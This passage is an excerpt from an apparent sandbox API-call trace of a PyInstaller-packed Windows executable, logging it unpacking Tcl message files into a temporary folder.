(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fo.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.362] GetFileType (hFile=0x10c) returned 0x1 [0037.363] htonl (hostlong=0xda030000) returned 0x3da [0037.363] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.363] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3da, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3da, lpOverlapped=0x0) returned 1 [0037.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.364] CloseHandle (hObject=0x10c) returned 1 [0037.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0037.364] htonl (hostlong=0x30000000) returned 0x30 [0037.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.364] GetFileType (hFile=0x10c) returned 0x1 [0037.365] htonl (hostlong=0x7d605700) returned 0x57607d [0037.365] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c107d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.365] htonl (hostlong=0x9e000000) returned 0x9e [0037.365] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.365] htonl (hostlong=0x9e000000) returned 0x9e [0037.365] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.365] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.365] htonl (hostlong=0x17010000) returned 0x117 [0037.365] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.365] htonl (hostlong=0x9e000000) returned 0x9e [0037.365] htonl (hostlong=0x17010000) returned 0x117 [0037.365] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.365] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.365] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.365] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.365] CloseHandle (hObject=0x10c) returned 1 [0037.365] GetLastError () returned 0x0 [0037.365] SetLastError (dwErrCode=0x0) [0037.365] GetLastError () returned 0x0 [0037.365] SetLastError (dwErrCode=0x0) [0037.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.365] GetFileType (hFile=0x10c) returned 0x1 [0037.365] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.366] CloseHandle (hObject=0x10c) returned 1 [0037.366] GetLastError () returned 0x0 [0037.366] SetLastError (dwErrCode=0x0) [0037.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.366] GetFileType (hFile=0x10c) returned 0x1 [0037.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.366] CloseHandle (hObject=0x10c) returned 1 [0037.367] GetLastError () returned 0x0 [0037.367] SetLastError (dwErrCode=0x0) [0037.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo_fo.msg") returned 64 [0037.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo_fo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fo_fo.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.367] GetLastError () returned 0x2 [0037.367] SetLastError (dwErrCode=0x2) [0037.367] GetLastError () returned 0x2 [0037.367] SetLastError (dwErrCode=0x2) [0037.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo_fo.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo_fo.msg", lpFilePart=0x0) returned 0x3f [0037.367] GetLastError () returned 0x2 [0037.367] SetLastError (dwErrCode=0x2) [0037.367] GetLastError () returned 0x2 [0037.367] SetLastError (dwErrCode=0x2) [0037.367] GetLastError () returned 0x2 [0037.367] SetLastError (dwErrCode=0x2) [0037.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo_fo.msg") returned 64 [0037.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo_fo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fo_fo.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.368] GetFileType (hFile=0x10c) returned 0x1 [0037.368] htonl (hostlong=0x17010000) returned 0x117 [0037.368] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.368] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.369] CloseHandle (hObject=0x10c) returned 1 [0037.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.370] htonl (hostlong=0x30000000) returned 0x30 [0037.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.370] GetFileType (hFile=0x10c) returned 0x1 [0037.370] htonl (hostlong=0x1b615700) returned 0x57611b [0037.370] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c111b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.370] htonl (hostlong=0x6e010000) returned 0x16e [0037.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16e) returned 0x550600 [0037.370] htonl (hostlong=0x6e010000) returned 0x16e [0037.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.370] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.370] htonl (hostlong=0xb5040000) returned 0x4b5 [0037.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4b5) returned 0x550778 [0037.370] htonl (hostlong=0x6e010000) returned 0x16e [0037.370] htonl (hostlong=0xb5040000) returned 0x4b5 [0037.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.371] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.371] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.371] CloseHandle (hObject=0x10c) returned 1 [0037.371] GetLastError () returned 0x0 [0037.371] SetLastError (dwErrCode=0x0) [0037.371] GetLastError () returned 0x0 [0037.371] SetLastError (dwErrCode=0x0) [0037.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.371] GetFileType (hFile=0x10c) returned 0x1 [0037.371] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.371] CloseHandle (hObject=0x10c) returned 1 [0037.371] GetLastError () returned 0x0 [0037.371] SetLastError (dwErrCode=0x0) [0037.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.372] GetFileType (hFile=0x10c) returned 0x1 [0037.372] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.372] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.372] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.372] CloseHandle (hObject=0x10c) returned 1 [0037.372] GetLastError () returned 0x0 [0037.372] SetLastError (dwErrCode=0x0) [0037.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr.msg") returned 61 [0037.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.372] GetLastError () returned 0x2 [0037.372] SetLastError (dwErrCode=0x2) [0037.372] GetLastError () returned 0x2 [0037.372] SetLastError (dwErrCode=0x2) [0037.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr.msg", lpFilePart=0x0) returned 0x3c [0037.372] GetLastError () returned 0x2 [0037.372] SetLastError (dwErrCode=0x2) [0037.372] GetLastError () returned 0x2 [0037.372] SetLastError (dwErrCode=0x2) [0037.372] GetLastError () returned 0x2 [0037.372] SetLastError (dwErrCode=0x2) [0037.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr.msg") returned 61 [0037.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.373] GetFileType (hFile=0x10c) returned 0x1 [0037.373] htonl (hostlong=0xb5040000) returned 0x4b5 [0037.373] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.373] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4b5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4b5, lpOverlapped=0x0) returned 1 [0037.374] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.374] CloseHandle (hObject=0x10c) returned 1 [0037.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550778 | out: hHeap=0x530000) returned 1 [0037.375] htonl (hostlong=0x30000000) returned 0x30 [0037.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.375] GetFileType (hFile=0x10c) returned 0x1 [0037.375] htonl (hostlong=0x89625700) returned 0x576289 [0037.375] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1289, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.375] htonl (hostlong=0x9f000000) returned 0x9f [0037.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.375] htonl (hostlong=0x9f000000) returned 0x9f [0037.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.375] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.375] htonl (hostlong=0x17010000) returned 0x117 [0037.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.375] htonl (hostlong=0x9f000000) returned 0x9f [0037.375] htonl (hostlong=0x17010000) returned 0x117 [0037.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.375] CloseHandle (hObject=0x10c) returned 1 [0037.375] GetLastError () returned 0x0 [0037.375] SetLastError (dwErrCode=0x0) [0037.375] GetLastError () returned 0x0 [0037.375] SetLastError (dwErrCode=0x0) [0037.376] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.376] GetFileType (hFile=0x10c) returned 0x1 [0037.376] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.376] CloseHandle (hObject=0x10c) returned 1 [0037.376] GetLastError () returned 0x0 [0037.377] SetLastError (dwErrCode=0x0) [0037.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 